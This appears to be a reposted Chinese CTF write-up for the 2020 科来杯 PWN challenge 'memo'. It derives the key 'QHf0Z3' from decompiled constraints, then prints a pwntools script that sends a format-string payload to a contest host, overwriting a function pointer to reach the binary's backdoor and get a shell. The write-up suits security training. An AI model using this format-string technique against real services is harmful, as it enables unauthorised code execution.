跟去年那个格式化字符串漏洞的题一样,只是改了改 key 的值,验证过程是这样的
注意那个 v2 是 esp+Eh 而我们的 s 是 esp+Ah,也就是说输入的 6 个 key 有两个会写到 v2 上,v2 是我们可控的,那个 SBYTE1 不知道是啥,对着去年省赛用 angr 解出来的 key 猜测是第二位,SBYTE1(v2) 就是 s 的最后一位了
s[0]=81 即 Q
81 * SBYTE1(v2) =4131 得到 SBYTE1(v2) 为 51 即 3
s[2] / SBYTE1(v2) = 2 得到 s[2] = 102 即 f
SBYTE1(v2) + (char)v2 = 141 的 (char)v2 = 90 即 Z
(char)v2 - s[1] = 18 得 s[1] = 72 即 H
那么现在是:QHf?Z3,s[3] 我取了个 0 成功了
QHf0Z3,拿到 key 之后就是简单的格式化字符串漏洞了,程序本身有个后门,可以 cat flag
数一下偏移在第五个
然后直接用 fmtstr_payload()
from pwn import *
#p=process('./memo')
p=remote('10.100.100.2',10999)
p.recvuntil("Key:")
p.sendline("QHf0Z3")
p.recvuntil("your msg:")
payload = fmtstr_payload(5, {0x804C018:0x8049211})
p.sendline(payload)
p.interactive()
====== 完 ======
这道题当时一打开发现跟去年的差不多,激动的马上打开虚拟机进了 docker,结果忘了 angr 的 docker 是咋用的了 Orz...
把虚拟机快照还原到之前刚安装 angr 的那个,在虚拟机的 history 命令中找到了个 su angr(还好当时输错了终端2333),结果用存的几个模板没跑出来 key,又懵了
后来还是靠自己看伪代码算出来那个 key
本文始发于微信公众号(陈冠男的游戏人生):2020科来杯PWN铜牌2-memo
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论